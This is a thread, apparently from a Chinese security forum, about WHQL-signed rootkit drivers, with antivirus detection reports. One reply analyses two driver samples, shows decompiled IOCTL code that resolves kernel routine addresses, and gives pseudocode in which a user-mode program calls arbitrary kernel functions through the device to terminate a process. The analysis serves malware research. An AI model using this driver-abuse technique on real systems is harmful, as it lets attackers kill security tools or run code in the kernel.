#Guru #WHQL #Rootkit

ANY.LNK

依据https://bbs.kafan.cn/thread-2290902-1-1.html查找关联得到的样本，都具有有效的WHQL签名

ZXCVDS

360kill

浦北光

卡巴斯基 scan miss

xjwtzq

奇安信 kill    这些驱动竟然能够通过签名，厉害

846472713

xjwtzq 发表于 2026-4-18 09:14
奇安信kill

这个有安装包吗？需要卸载密码吗？

xjwtzq

846472713 发表于 2026-4-18 09:19
这个有安装包吗？需要卸载密码吗？

有安装包，需要卸载密码

846472713

VSE 2x

passionCN

ESET kill，感觉360、卡巴要慢半拍。

blackmonster233

bdts

DisaPDB

6ae294cb5c71118350342e6a26350d0e95ea23d0548125b09056efa0ea19bf45.sys


一个内核模式状态机，v10 是从 MasterIrp->Flags 转换来的函数指针，完全由用户态控制。
用户可以通过 IOCTL 让内核执行任意地址的函数

17aae57cf6255c7eb169bf62ea67376d9708976eb7831f8cdd0ea38bdcb37dc4.sys

这个MasterIrp结构可以直接让用户态读取任意指针和内存地址执行操作

1. if ( *(_QWORD *)&MasterIrp->Type == 1000LL )
   
2. {
   
3.     RtlInitAnsiString(&SourceString, (PCSZ)&MasterIrp->MdlAddress);
   
4. RtlAnsiStringToUnicodeString(&DestinationString, &SourceString, 1);
   
5.     SystemRoutineAddress = MmGetSystemRoutineAddress(&DestinationString);
   
6.     MasterIrp->MdlAddress = SystemRoutineAddress;
   
7. }

复制代码

后面的，命令1001允许调用任意内核函数地址
配合命令1000获取任意函数地址，用户态可实现任意内核操作
也就是说，ring3程序可以这么写……（伪代码）

1. int main()
   
2. {
   
3.     HANDLE hDevice = CreateFileW(L"\\\\.\\Guru8906", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
   
4.     if (hDevice == INVALID_HANDLE_VALUE) return 1;
   
5.     ULONG_PTR pPsGetCurrentProcess, pPsLookupProcessByProcessId, pZwTerminateProcess;
   
6.     GetKernelFunctionAddress(hDevice, "PsGetCurrentProcess", &pPsGetCurrentProcess);
   
7.     GetKernelFunctionAddress(hDevice, "PsLookupProcessByProcessId", &pPsLookupProcessByProcessId);
   
8.     GetKernelFunctionAddress(hDevice, "ZwTerminateProcess", &pZwTerminateProcess);
   
9.     ULONG_PTR pTargetEprocess = 0;
   
10.     CallKernelFunction(hDevice, pPsLookupProcessByProcessId, 1234, (ULONG_PTR)&pTargetEprocess, 0,0,0, NULL);
    
11.     CallKernelFunction(hDevice, pZwTerminateProcess, pTargetEprocess, 0, 0,0,0, NULL);
    
12.     CloseHandle(hDevice);
    
13.     return 0;
    
14. }

复制代码

总的来说，这俩都是“故意编写的漏洞驱动”，如果没有ring3程序发控制码的话也不会有恶意行为。如果能拿到ring3程序的话可能会更清楚一些。